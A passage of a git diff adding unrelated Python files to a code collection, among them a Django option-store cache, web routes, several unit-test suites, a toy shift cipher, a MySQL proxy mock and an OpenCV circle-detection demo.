isn't ideal, but not terrible + # since I don't want to introduce locking to prevent this. + # Even if it did happen, the consequence is just another + # network hop. + pass + + # If we're outside the grace window, even if we ask for it + # in grace, too bad. The value is considered bad. + return None + + def get_store(self, key, silent=False): + """ + Attempt to fetch value from the database. If successful, + also set it back in the cache. + + Returns None in both cases, if the key doesn't actually exist, + or if we errored fetching it. + + NOTE: This behavior should probably be improved to differentiate + between a miss vs error, but not worth it now since the value + is limited at the moment. + """ + try: + value = self.model.objects.get(key=key.name).value + except self.model.DoesNotExist: + value = None + except Exception as e: + if not silent: + logger.exception(unicode(e)) + value = None + else: + # we only attempt to populate the cache if we were previously + # able to successfully talk to the backend + # NOTE: There is definitely a race condition here between updating + # the store and the cache + try: + self.set_cache(key, value) + except Exception: + if not silent: + logger.warn(CACHE_UPDATE_ERR, key.name, exc_info=True) + return value + + def set(self, key, value): + """ + Store a value in the option store. Value must get persisted to database first, + then attempt caches. If it fails database, the entire operation blows up. + If cache fails, we ignore silently since it'll get repaired later by sync_options. + A boolean is returned to indicate if the network cache was set successfully. + """ + self.set_store(key, value) + return self.set_cache(key, value) + + def set_store(self, key, value): + create_or_update( + model=self.model, + key=key.name, + values={ + 'value': value, + 'last_updated': timezone.now(), + } + ) + + def set_cache(self, key, value): + cache_key = key.cache_key + if key.ttl > 0: + self._local_cache[cache_key] = _make_cache_value(key, value) + try: + self.cache.set(cache_key, value, self.ttl) + return True + except Exception: + logger.warn(CACHE_UPDATE_ERR, key.name, exc_info=True) + return False + + def delete(self, key): + """ + Remove key out of option stores. This operation must succeed on the + database first. If database fails, an exception is raised. + If database succeeds, caches are then allowed to fail silently. + A boolean is returned to indicate if the network deletion succeeds. + """ + self.delete_store(key) + return self.delete_cache(key) + + def delete_store(self, key): + self.model.objects.filter(key=key.name).delete() + + def delete_cache(self, key): + cache_key = key.cache_key + try: + del self._local_cache[cache_key] + except KeyError: + pass + try: + self.cache.delete(cache_key) + return True + except Exception: + logger.warn(CACHE_UPDATE_ERR, key.name, exc_info=True) + return False + + def clean_local_cache(self): + """ + Iterate over our local cache items, and + remove the keys that are beyond their grace time. + """ + to_expire = [] + now = int(time()) + for k, (_, _, grace) in self._local_cache.iteritems(): + if now > grace: + to_expire.append(k) + + for k in to_expire: + try: + del self._local_cache[k] + except KeyError: + # This could only exist in a race condition + # where another thread has already deleted this key, + # but we'll guard ourselves against it Justin Case. + pass + + def flush_local_cache(self): + """ + Empty store's local in-process cache. + """ + self._local_cache = {} + + def maybe_clean_local_cache(self, **kwargs): + # Periodically force an expire on the local cache. + # This cleanup is purely to keep memory low and garbage collect + # old values. It's not required to run to keep things consistent. + # Internally, if an option is fetched and it's expired, it gets + # evicted immediately. This is purely for options that haven't + # been fetched since they've expired. + if not self._local_cache: + return + if random() < 0.25: + self.clean_local_cache() + + def connect_signals(self): + from celery.signals import task_postrun + from django.core.signals import request_finished + task_postrun.connect(self.maybe_clean_local_cache) + request_finished.connect(self.maybe_clean_local_cache) diff --git a/pool/shard000/Python/0007775_routes.py b/pool/shard000/Python/0007775_routes.py new file mode 100644 index 0000000000000000000000000000000000000000..afdb4636c89e7bf601178a0b08c6b54a3cab4d8e --- /dev/null +++ b/pool/shard000/Python/0007775_routes.py @@ -0,0 +1,33 @@ +from webapp2 import Route +from app.web import index +from app.web.admin import login, dashboard, dances, events +from app.web.users import dances as user_dances, events as user_events + +__all__ = ['get_routes', + 'add_routes'] + +_routes = [ + + Route('/admin', handler=login.LoginHandler, name='login'), + Route('/dashboard', handler=dashboard.DashboardHandler, name='admin-dashboard'), + Route('/dashboard/dances', handler=dances.AdminDancesHandler, name='admin-dances'), + Route('/dashboard/dances/add', handler=dances.AddDancesHandler, name='admin-add-dance'), + Route('/dashboard/dances/edit', handler=dances.EditDancesHandler, name='admin-edit-dance'), + Route('/dashboard/events', handler=events.AdminEventsHandler, name='admin-events'), + Route('/dashboard/events/add', handler=events.AddEventsHandler, name='admin-add-event'), + Route('/dashboard/events/edit', handler=events.EditEventsHandler, name='admin-edit-event'), + + Route('/dances', handler=user_dances.DancesHandler, name='dances'), + Route('/events', handler=user_events.EventsHandler, name='events'), + Route('/', handler=index.IndexHandler) + +] + + +def get_routes(): + return _routes + + +def add_routes(app): + for r in _routes: + app.router.add(r) diff --git a/pool/shard000/Python/0007783_test_list_integration.py b/pool/shard000/Python/0007783_test_list_integration.py new file mode 100644 index 0000000000000000000000000000000000000000..75b91b77ea5ad93230131b5314b751db736b6180 --- /dev/null +++ b/pool/shard000/Python/0007783_test_list_integration.py @@ -0,0 +1,63 @@ +# coding=utf-8 +# Copyright 2016 Pants project contributors (see CONTRIBUTORS.md). +# Licensed under the Apache License, Version 2.0 (see LICENSE). + +from __future__ import (absolute_import, division, generators, nested_scopes, print_function, + unicode_literals, with_statement) + +from pants_test.pants_run_integration_test import PantsRunIntegrationTest + + +class DependenciesIntegrationTest(PantsRunIntegrationTest): + + def get_target_set(self, std_out): + return sorted([l for l in std_out.split('\n') if l]) + + def run_engine_list(self, success, *args): + return self.get_target_set(self.do_command(*args, success=success, enable_v2_engine=True).stdout_data) + + def run_regular_list(self, success, *args): + return self.get_target_set(self.do_command(*args, success=success, enable_v2_engine=False).stdout_data) + + def assert_list_new_equals_old(self, success, spec): + args = ['-q', 'list'] + spec + self.assertEqual( + self.run_regular_list(success, *args), + self.run_engine_list(success, *args), + ) + + def test_list_single(self): + self.assert_list_new_equals_old(True, ['3rdparty::']) + + def test_list_multiple(self): + self.assert_list_new_equals_old( + True, + ['3rdparty::', 'examples/src/::', 'testprojects/tests/::', 'contrib/go/examples/3rdparty::'] + ) + + def test_list_all(self): + self.do_command('list', '::', success=True, enable_v2_engine=True) + + def test_list_invalid_dir(self): + pants_run = self.do_command('list', 'abcde::', success=False, enable_v2_engine=True) + self.assertIn('InvalidCommandLineSpecError', pants_run.stderr_data) + + def test_list_nested_function_scopes(self): + pants_run = self.do_command('list', + 'testprojects/tests/python/pants/build_parsing::', + success=True, + enable_v2_engine=True) + self.assertEquals( + pants_run.stdout_data.strip(), + 'testprojects/tests/python/pants/build_parsing:test-nested-variable-access-in-function-call' + ) + + def test_list_parse_java_targets(self): + pants_run = self.do_command('list', + 'testprojects/tests/java/org/pantsbuild/build_parsing::', + success=True, + enable_v2_engine=True) + self.assertRegexpMatches( + pants_run.stdout_data, + r'testprojects/tests/java/org/pantsbuild/build_parsing:trailing_glob_doublestar' + ) diff --git a/pool/shard000/Python/0007788_main.py b/pool/shard000/Python/0007788_main.py new file mode 100644 index 0000000000000000000000000000000000000000..ed5f8f33f53b265a08234ba12c1dffe36feb7c51 --- /dev/null +++ b/pool/shard000/Python/0007788_main.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python +# -*- coding:utf-8 -*- +__author__ = 'litleleprikon' + + +class GCounterCipher: + def __init__(self): + with open('passwords.txt', 'r') as file: + self._keys = [line[:-1] for line in file.readlines()] + self.char_map = [chr(x) for x in range(32, 127)] + self.map_len = len(self.char_map) + + def encrypt_once(self, key, text): + result = [] + key_len = len(key) + for i, symbol in enumerate(text): + res_symbol_code = (self.char_map.index(symbol) + ord(key[i % key_len])) % self.map_len + res_symbol = self.char_map[res_symbol_code] + result.append(res_symbol) + return ''.join(result) + + def encrypt(self, file_name): + with open(file_name, 'r') as file: + text = file.read() + for key in self._keys: + text = self.encrypt_once(key, text) + with open('encrypted.txt', 'w') as file: + file.write(text) + + def decrypt_once(self, key, text): + result = [] + key_len = len(key) + for i, symbol in enumerate(text): + res_symbol_code = (self.char_map.index(symbol) - ord(key[i % key_len])) % self.map_len + res_symbol = self.char_map[res_symbol_code] + result.append(res_symbol) + return ''.join(result) + + def decrypt(self): + with open('encrypted.txt', 'r') as file: + text = file.read() + for key in reversed(self._keys): + text = self.decrypt_once(key, text) + with open('decrypted.txt', 'w') as file: + file.write(text) + + +def main(): + cipher = GCounterCipher() + cipher.encrypt('text.txt') + cipher.decrypt() + + +if __name__ == "__main__": + try: + main() + except KeyboardInterrupt as ex: + print("Keyboard interrupt") \ No newline at end of file diff --git a/pool/shard000/Python/0007789_conftest.py b/pool/shard000/Python/0007789_conftest.py new file mode 100644 index 0000000000000000000000000000000000000000..ef8bb31867da4e54d6f2b25d6b4aaf1d5b16c711 --- /dev/null +++ b/pool/shard000/Python/0007789_conftest.py @@ -0,0 +1,83 @@ +import pathlib + +import sqlalchemy as sa +from pyramid import config +import pytest + +from clld.db.meta import DBSession, Base, CustomModelMixin +from clld.db.models import common +from clld.web.datatables.language import Languages +from pytest_clld._app import ExtendedTestApp +from clld_glottologfamily_plugin.models import Family, HasFamilyMixin +from clld_glottologfamily_plugin.datatables import MacroareaCol, FamilyLinkCol + + +@pytest.fixture() +def glottolog_repos(): + return pathlib.Path(__file__).parent / 'repos' + + +class LanguageWithFamily(CustomModelMixin, common.Language, HasFamilyMixin): + pk = sa.Column(sa.Integer, sa.ForeignKey('language.pk'), primary_key=True) + macroarea = sa.Column(sa.Unicode) + + +@pytest.fixture(scope='session') +def language_with_family(): + return LanguageWithFamily + + +class LanguagesWithFamily(Languages): + def col_defs(self): + return [ + MacroareaCol(self, 'ma', language_cls=LanguageWithFamily), + FamilyLinkCol(self, 'f', language_cls=LanguageWithFamily), + ] + + +@pytest.fixture +def engine(): + DBSession.bind = sa.create_engine('sqlite://') + yield DBSession + DBSession.remove() + + +@pytest.fixture +def db(): + Base.metadata.bind = DBSession.bind + Base.metadata.create_all() + + DBSession.add(common.Dataset(id='1', name='test app', domain='example.org')) + family = Family(id='f', name='family', description='desc', jsondata=dict(icon=1)) + DBSession.add(LanguageWithFamily(id='l1', family=family)) + DBSession.add(LanguageWithFamily(id='l2')) + DBSession.add(LanguageWithFamily(id='abcd1236')) + DBSession.add(LanguageWithFamily(id='abcd1234')) + return DBSession + + +@pytest.fixture(scope='module') +def testapp(): + def main(): + cfg = config.Configurator(settings={ + 'sqlalchemy.url': 'sqlite://', + 'mako.directories': [ + 'clld:web/templates', + 'clld_glottologfamily_plugin:templates' + ]}) + cfg.include('clld.web.app') + cfg.include('clld_glottologfamily_plugin') + cfg.register_datatable('languages', LanguagesWithFamily) + return cfg.make_wsgi_app() + + DBSession.remove() + wsgi_app = main() + Base.metadata.bind = DBSession.bind + Base.metadata.create_all() + + DBSession.add(common.Dataset(id='1', name='test app', domain='example.org')) + family = Family(id='f', name='family', description='desc', jsondata=dict(icon=1)) + DBSession.add(LanguageWithFamily(id='l1', family=family)) + DBSession.add(LanguageWithFamily(id='l2')) + DBSession.add(LanguageWithFamily(id='abcd1236')) + yield ExtendedTestApp(wsgi_app) diff --git a/pool/shard000/Python/0007794_Template.py b/pool/shard000/Python/0007794_Template.py new file mode 100644 index 0000000000000000000000000000000000000000..2f28b9b5326ab9a20c7bb85cadefab63d09aa0a3 --- /dev/null +++ b/pool/shard000/Python/0007794_Template.py @@ -0,0 +1,26 @@ +from insalata.model.Node import Node + +class Template(Node): + def __init__(self, id, metadata): + Node.__init__(self) + + self.id = id + self.metadata = metadata + + def getID(self): + return self.id + + def getGlobalID(self): + loc = self.getLocation() + if loc: + return loc.getID() + "_" + self.getID() + return self.getID() + + def getLocation(self): + loc = self.getAllNeighbors(Location) + return list(loc)[0] if len(loc) > 0 else None + + def getMetadata(self): + return self.metadata + +from insalata.model.Location import Location diff --git a/pool/shard000/Python/0007796_mysql-40.py b/pool/shard000/Python/0007796_mysql-40.py new file mode 100644 index 0000000000000000000000000000000000000000..4a981b67a93b8aa9e866c7bda4a832991528274b --- /dev/null +++ b/pool/shard000/Python/0007796_mysql-40.py @@ -0,0 +1,89 @@ +# LICENSE BEGIN +# +# Copyright (c) 2010 Ysj.Ray +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +## LICENSE END + + +import os, sys +sys.path.append(os.environ['PYTHON_LIBPATH']) + +import mysql.proto as proto + +def packet_auth_40(): + return \ + "\x08\x34\x2e\x30\x2e\x32\x38\x2d\x64\x65\x62\x75\x67\x2d\x6c\x6f" +\ + "\x67\000\005\000\000\000\x24\x6a\x6b\x5a\x60\x56\x6b\x3b\000\x2c" +\ + "\20\x08\002\000\000\000\000\000\000\000\000\000\000\000\000\000" +\ + "\000" + +def packet_auth_50(): + return proto.to_challenge_packet({}) + + +connects = 0 +connect_id = 0 + +def connect_server(proxy): + global connects + global connect_id + proxy.response.type = proxy.MYSQLD_PACKET_RAW + + if connects == 0: + proxy.response.packets = ( packet_auth_50(), ) + else: + proxy.response.packets = ( packet_auth_40(), ) + + connect_id = connects + connects += 1 + print 'Now the connects is:', connects + return proxy.PROXY_SEND_RESULT + + +def read_query(proxy, packet): + global connects + global connect_id + if ord(packet[0]) != proxy.COM_QUERY: + proxy.response = { + 'type' : proxy.MYSQLD_PACKET_OK + } + return proxy.PROXY_SEND_RESULT + + query = packet[1:] + if query == "SELECT thread_id()": + proxy.response = { + 'type' : proxy.MYSQLD_PACKET_OK, + 'resultset' : { + 'fields' : ( + ("thread_id", proxy.MYSQL_TYPE_STRING ), + ), + 'rows' : ( + ( connect_id, ), + ) + } + } + else: + proxy.response = { + 'type' : proxy.MYSQLD_PACKET_ERR, + 'errmsg' : "(mysql-40-mock) " + query + } + + return proxy.PROXY_SEND_RESULT + + + + + diff --git a/pool/shard000/Python/0007799_application_kernels.py b/pool/shard000/Python/0007799_application_kernels.py new file mode 100644 index 0000000000000000000000000000000000000000..749ddef745d5d35620a1531d8994f57cfcde61ec --- /dev/null +++ b/pool/shard000/Python/0007799_application_kernels.py @@ -0,0 +1,152 @@ +# Copyright (c) 2014-2015, Intel Corporation All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are +# met: +# +# 1. Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its +# contributors may be used to endorse or promote products derived from +# this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS +# IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED +# TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A +# PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +# HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED +# TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +from __future__ import print_function + +import unittest +import numpy + +import pymic + +from helper import skipNoDevice +from helper import get_library + +epsilon = 0.0000000001 + + +class ApplicationKernelTests(unittest.TestCase): + """This class defines test cases constructed from application kernels.""" + + def assertEqualEpsilon(self, first, second, msg=None): + """Test equal for floating point with deviation.""" + + def epsilonCompare(value): + return (abs(value) <= epsilon) + + comparison = map(epsilonCompare, (first - second)) + return self.assertTrue(all(comparison), msg) + + @skipNoDevice + def impl_test_dgemm(self, size): + """Test an MKL dgemm with 256x256 matrices.""" + + device = pymic.devices[0] + stream = device.get_default_stream() + library = get_library(device, "libtests.so") + + m, n, k = size, size, size + alpha, beta = 1.2, 1.2 + numpy.random.seed(10) + a = numpy.random.random(m * k).reshape((m, k)) + b = numpy.random.random(k * n).reshape((k, n)) + c = numpy.random.random(m * n).reshape((m, n)) + + A = numpy.matrix(a) + B = numpy.matrix(b) + C = numpy.matrix(c) + expect = numpy.array(alpha * A * B + beta * C) + + offl_a = stream.bind(a) + offl_b = stream.bind(b) + offl_c = stream.bind(c) + + stream.invoke(library.test_kernel_dgemm, + offl_a, offl_b, offl_c, + m, n, k, alpha, beta) + offl_c.update_host() + stream.sync() + r = offl_c.array + + self.assertEqualEpsilon(r.reshape((m * n,)), expect.reshape((m * n,)), + "Array contains unexpected values: " + "{0} should be {1}".format(r, expect)) + + @skipNoDevice + def impl_test_zgemm(self, size): + """Test an MKL zgemm with 256x256 matrices.""" + + device = pymic.devices[0] + stream = device.get_default_stream() + library = get_library(device, "libtests.so") + + m, n, k = size, size, size + alpha, beta = complex(1.2, 0.5j), complex(0.5, 0.6j) + numpy.random.seed(20) + ar = numpy.random.random(m * k).reshape((m, k)) + aj = numpy.random.random(m * k).reshape((m, k)) + br = numpy.random.random(k * n).reshape((k, n)) + bj = numpy.random.random(k * n).reshape((k, n)) + cr = numpy.random.random(m * n).reshape((m, n)) + cj = numpy.random.random(m * n).reshape((m, n)) + a = ar + 1j * aj + b = br + 1j * bj + c = cr + 1j * cj + + A = numpy.matrix(a) + B = numpy.matrix(b) + C = numpy.matrix(c) + expect = numpy.array(alpha * A * B + beta * C) + + offl_a = stream.bind(a) + offl_b = stream.bind(b) + offl_c = stream.bind(c) + stream.invoke(library.test_kernel_zgemm, + offl_a, offl_b, offl_c, + m, n, k, alpha, beta) + offl_c.update_host() + stream.sync() + r = offl_c.array + + self.assertEqualEpsilon(r.reshape((m * n,)), expect.reshape((m * n,)), + "Array contains unexpected values: " + "{0} should be {1}".format(r, expect)) + + +def _add_tests_gemm(size): + def test_method_dgemm(self): + self.impl_test_dgemm(size) + + def test_method_zgemm(self): + self.impl_test_zgemm(size) + + setattr(ApplicationKernelTests, 'test_dgemm_{0}'.format(size), + test_method_dgemm) + setattr(ApplicationKernelTests, 'test_zgemm_{0}'.format(size), + test_method_zgemm) + test_method_dgemm.__name__ = 'test_dgemm_{0}'.format(size) + test_method_zgemm.__name__ = 'test_zgemm_{0}'.format(size) + + +#for size in xrange(8, 128, 8): +# _add_tests_gemm(size) +#for size in xrange(256, 4096, 256): +# _add_tests_gemm(size) +_add_tests_gemm(1024) +_add_tests_gemm(256) + diff --git a/pool/shard000/Python/0007802_image.py b/pool/shard000/Python/0007802_image.py new file mode 100644 index 0000000000000000000000000000000000000000..35f4765ca31b0c668f68dac4ea284db5056c3bbc --- /dev/null +++ b/pool/shard000/Python/0007802_image.py @@ -0,0 +1,154 @@ +# Copyright © 2020, Joseph Berry, Rico Tabor (opendrop.dev@gmail.com) +# OpenDrop is released under the GNU GPL License. You are free to +# modify and distribute the code, but always under the same license +# (i.e. you cannot make commercial derivatives). +# +# If you use this software in your research, please cite the following +# journal articles: +# +# J. D. Berry, M. J. Neeson, R. R. Dagastine, D. Y. C. Chan and +# R. F. Tabor, Measurement of surface and interfacial tension using +# pendant drop tensiometry. Journal of Colloid and Interface Science 454 +# (2015) 226–237. https://doi.org/10.1016/j.jcis.2015.05.012 +# +# E. Huang, T. Denning, A. Skoufis, J. Qi, R. R. Dagastine, R. F. Tabor +# and J. D. Berry, OpenDrop: Open-source software for pendant drop +# tensiometry & contact angle measurements, submitted to the Journal of +# Open Source Software +# +# These citations help us not only to understand who is using and +# developing OpenDrop, and for what purpose, but also to justify +# continued development of this code and other open source resources. +# +# OpenDrop is distributed WITHOUT ANY WARRANTY; without even the +# implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR +# PURPOSE. See the GNU General Public License for more details. You +# should have received a copy of the GNU General Public License along +# with this software. If not, see . + + +import math +from typing import Optional + +from gi.repository import Gtk, GObject + +from opendrop.appfw import Presenter, component, install +from opendrop.geometry import Rect2, Vector2 +from opendrop.widgets.canvas import Canvas, CanvasAlign, ImageArtist, LineArtist, AngleLabelArtist + +from opendrop.app.conan.services.analysis import ConanAnalysisJob + + +@component( + template_path='./image.ui', +) +class ConanReportOverviewImagePresenter(Presenter[Gtk.Container]): + _analysis: Optional[ConanAnalysisJob] = None + + def after_view_init(self) -> None: + self.canvas = Canvas(align=CanvasAlign.FIT, hexpand=True, vexpand=True, visible=True) + self.host.add(self.canvas) + + self.bg_artist = ImageArtist() + self.canvas.add_artist(self.bg_artist) + + self.baseline_artist = LineArtist( + stroke_color=(0.25, 1.0, 0.25), + scale_strokes=True, + ) + self.canvas.add_artist(self.baseline_artist) + + self.left_angle_artist = AngleLabelArtist( + clockwise=False, + arc_radius=20.0, + text_radius=40.0, + end_line_radius=50.0, + stroke_color=(1.0, 0.0, 0.5), + text_color=(1.0, 0.0, 0.5), + scale_radii=True, + scale_strokes=True, + scale_text=True, + ) + self.canvas.add_artist(self.left_angle_artist) + + self.right_angle_artist = AngleLabelArtist( + clockwise=True, + arc_radius=20.0, + text_radius=40.0, + end_line_radius=50.0, + stroke_color=(1.0, 0.0, 0.5), + text_color=(1.0, 0.0, 0.5), + scale_radii=True, + scale_strokes=True, + scale_text=True, + ) + self.canvas.add_artist(self.right_angle_artist) + + self.baseline_artist.bind_property( + 'line', + self.left_angle_artist, 'start-angle', + GObject.BindingFlags.SYNC_CREATE, + lambda _, line: -math.atan(line.gradient) if line is not None else 0, + ) + + self.baseline_artist.bind_property( + 'line', + self.right_angle_artist, 'start-angle', + GObject.BindingFlags.SYNC_CREATE, + lambda _, line: math.pi - (math.atan(line.gradient) if line is not None else 0), + ) + + @install + @GObject.Property + def analysis(self) -> Optional[ConanAnalysisJob]: + return self._analysis + + @analysis.setter + def analysis(self, analysis: Optional[ConanAnalysisJob]) -> None: + if self.analysis is not None: + self.analysis.disconnect(self.analysis_status_changed_id) + + self._analysis = analysis + + if analysis is None: + return + + self.analysis_status_changed_id = analysis.connect('notify::status', self.analysis_status_changed) + self.analysis_status_changed() + + def analysis_status_changed(self, *_) -> None: + analysis = self._analysis + if analysis is None: return + + image = analysis.image + if image is not None: + self.bg_artist.set_array(image) + self.bg_artist.props.extents = Rect2(0, 0, image.shape[1], image.shape[0]) + self.canvas.set_content_size(image.shape[1], image.shape[0]) + self.canvas.zoom(0.0) + else: + self.bg_artist.clear_data() + + left_angle = analysis.left_angle + left_contact = analysis.left_contact + if left_angle is not None and left_contact is not None: + self.left_angle_artist.props.delta_angle = left_angle + self.left_angle_artist.props.x = left_contact.x + self.left_angle_artist.props.y = left_contact.y + else: + self.left_angle_artist.props.delta_angle = math.nan + + right_angle = analysis.right_angle + right_contact = analysis.right_contact + if right_angle is not None and right_contact is not None: + self.right_angle_artist.props.delta_angle = -right_angle + self.right_angle_artist.props.x = right_contact.x + self.right_angle_artist.props.y = right_contact.y + else: + self.right_angle_artist.props.delta_angle = math.nan + + line = analysis.baseline + self.baseline_artist.props.line = line + + def destroy(self, *_) -> None: + self.analysis = None diff --git a/pool/shard000/Python/0007803_HoughCircles.py b/pool/shard000/Python/0007803_HoughCircles.py new file mode 100644 index 0000000000000000000000000000000000000000..8cd8d14a7bed57e0e3f26385ba180f872e0ce939 --- /dev/null +++ b/pool/shard000/Python/0007803_HoughCircles.py @@ -0,0 +1,65 @@ +# -*-coding:utf8-*-# +__author__ = 'play4fun' +""" +create time:15-10-25 下午12:02 +一个圆环 需要 3 个参数来确定。所以进行圆环 夫变换的累加器必须是 3 维的 + 这样的 效率 就会很低。所以 OpenCV 用来一个比 巧妙的办法 霍夫梯度法 它可以使 用边界的梯度信息。 + +参数: +image: 8位,单通道图像。如果使用彩色图像,请先转换为灰度。 +method:定义检测图像中的圆的方法。目前,唯一实现的方法是cv2.HOUGH_GRADIENT对应于Yuen等。纸。 +dp:该参数是累加器分辨率与图像分辨率的反比(详见Yuen等人)。实质上,dp获取越大,累加器数组越小。 +minDist:检测到的圆的中心(x,y)坐标之间的最小距离。如果minDist太小,则可能(错误地)检测到与原始相邻的多个圆。如果minDist太大,那么一些圈子根本就不会被检测到。 +param1: Yuen等人用于处理边缘检测的梯度值 方法。 +param2:该cv2.HOUGH_GRADIENT方法的累加器阈值。阈值越小,检测到的圈子越多(包括虚假圈子)。阈值越大,可能会返回的圈数越多。 +minRadius:半径的最小大小(以像素为单位)。 +maxRadius:半径的最大大小(以像素为单位)。 +""" + +import cv2 +import numpy as np + +img = cv2.imread('../data/OpenCV_Logo_with_text.png', 0) +img = cv2.medianBlur(img, 5) +cimg = cv2.cvtColor(img, cv2.COLOR_GRAY2BGR) + +#HoughCircles(image, method, dp, minDist, circles=None, param1=None, param2=None, minRadius=None, maxRadius=None) +circles = cv2.HoughCircles(img, cv2.HOUGH_GRADIENT, 1, 20, param1=50, param2=30, minRadius=0, maxRadius=0) + +circles = np.uint16(np.around(circles)) +print(circles) + +for i in circles[0, :]: + # draw the outer circle + cv2.circle(cimg, (i[0], i[1]), i[2], (0, 255, 0), 2) + # draw the center of the circle + cv2.circle(cimg, (i[0], i[1]), 2, (0, 0, 255), 3) + +cv2.imshow('detected circles', cimg) +cv2.waitKey(0) +cv2.destroyAllWindows() + +# Python: cv2.HoughCircles(image, method, dp, minDist, circles, param1, param2, minRadius, maxRadius) +# Parameters: +# image – 8-bit, single-channel, grayscale input image. +# 返回结果为 Output vector of found circles. Each vector is encoded as a +# 3-element floating-point vector (x, y, radius) . +# circle_storage – In C function this is a memory storage that will contain +# the output sequence of found circles. +# method – Detection method to use. Currently, the only implemented method is +# CV_HOUGH_GRADIENT , which is basically 21HT , described in [Yuen90]. +# dp – Inverse ratio of the accumulator resolution to the image resolution. +# For example, if dp=1 , the accumulator has the same resolution as the input image. +# If dp=2 , the accumulator has half as big width and height. +# minDist – Minimum distance between the centers of the detected circles. +# If the parameter is too small, multiple neighbor circles may be falsely +# detected in addition to a true one. If it is too large, some circles may be missed. +# param1 – First method-specific parameter. In case of CV_HOUGH_GRADIENT , +# it is the higher threshold of the two passed to the Canny() edge detector +# (the lower one is twice smaller). +# param2 – Second method-specific parameter. In case of CV_HOUGH_GRADIENT , +# it is the accumulator threshold for the circle centers at the detection stage. +# The smaller it is, the more false circles may be detected. Circles, +# corresponding to the larger accumulator values, will be returned first. +# minRadius – Minimum circle radius. +# maxRadius – Maximum circle radius. diff --git a/pool/shard000/Python/0007804_cros_mark_as_stable_unittest.py b/pool/shard000/Python/0007804_cros_mark_as_stable_unittest.py new file mode 100644 index 0000000000000000000000000000000000000000..feb0d3ea6a9a82c9d97af5659aa1d7772bdd11cc --- /dev/null +++ b/pool/shard000/Python/0007804_cros_mark_as_stable_unittest.py @@ -0,0 +1,108 @@ +#!/usr/bin/python + +# Copyright (c) 2012 The Chromium OS Authors. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +"""Unit tests for cros_mark_as_stable.py.""" + +import os +import sys + +sys.path.insert(0, os.path.join(os.path.dirname(os.path.realpath(__file__)), + '..', '..')) +from chromite.lib import cros_build_lib +from chromite.lib import cros_test_lib +from chromite.lib import git +from chromite.scripts import cros_mark_as_stable + + +# pylint: disable=W0212,R0904 +class NonClassTests(cros_test_lib.MoxTestCase): + def setUp(self): + self.mox.StubOutWithMock(cros_build_lib, 'RunCommand') + self.mox.StubOutWithMock(cros_build_lib, 'RunCommandCaptureOutput') + self._branch = 'test_branch' + self._target_manifest_branch = 'cros/master' + + def testPushChange(self): + git_log = 'Marking test_one as stable\nMarking test_two as stable\n' + fake_description = 'Marking set of ebuilds as stable\n\n%s' % git_log + self.mox.StubOutWithMock(cros_mark_as_stable, '_DoWeHaveLocalCommits') + self.mox.StubOutWithMock(cros_mark_as_stable.GitBranch, 'CreateBranch') + self.mox.StubOutWithMock(cros_mark_as_stable.GitBranch, 'Exists') + self.mox.StubOutWithMock(git, 'PushWithRetry') + self.mox.StubOutWithMock(git, 'GetTrackingBranch') + self.mox.StubOutWithMock(git, 'SyncPushBranch') + self.mox.StubOutWithMock(git, 'CreatePushBranch') + self.mox.StubOutWithMock(git, 'RunGit') + + cros_mark_as_stable._DoWeHaveLocalCommits( + self._branch, self._target_manifest_branch, '.').AndReturn(True) + git.GetTrackingBranch('.', for_push=True).AndReturn( + ['gerrit', 'refs/remotes/gerrit/master']) + git.SyncPushBranch('.', 'gerrit', 'refs/remotes/gerrit/master') + cros_mark_as_stable._DoWeHaveLocalCommits( + self._branch, 'refs/remotes/gerrit/master', '.').AndReturn(True) + result = cros_build_lib.CommandResult(output=git_log) + cros_build_lib.RunCommandCaptureOutput( + ['git', 'log', '--format=format:%s%n%n%b', + 'refs/remotes/gerrit/master..%s' % self._branch], + cwd='.').AndReturn(result) + git.CreatePushBranch('merge_branch', '.') + git.RunGit('.', ['merge', '--squash', self._branch]) + git.RunGit('.', ['commit', '-m', fake_description]) + git.RunGit('.', ['config', 'push.default', 'tracking']) + git.PushWithRetry('merge_branch', '.', dryrun=False) + self.mox.ReplayAll() + cros_mark_as_stable.PushChange(self._branch, self._target_manifest_branch, + False, '.') + self.mox.VerifyAll() + + +class GitBranchTest(cros_test_lib.MoxTestCase): + + def setUp(self): + # Always stub RunCommmand out as we use it in every method. + self.mox.StubOutWithMock(cros_build_lib, 'RunCommand') + self.mox.StubOutWithMock(cros_build_lib, 'RunCommandCaptureOutput') + self._branch = self.mox.CreateMock(cros_mark_as_stable.GitBranch) + self._branch_name = 'test_branch' + self._branch.branch_name = self._branch_name + self._target_manifest_branch = 'cros/test' + self._branch.tracking_branch = self._target_manifest_branch + self._branch.cwd = '.' + + def testCheckoutCreate(self): + # Test init with no 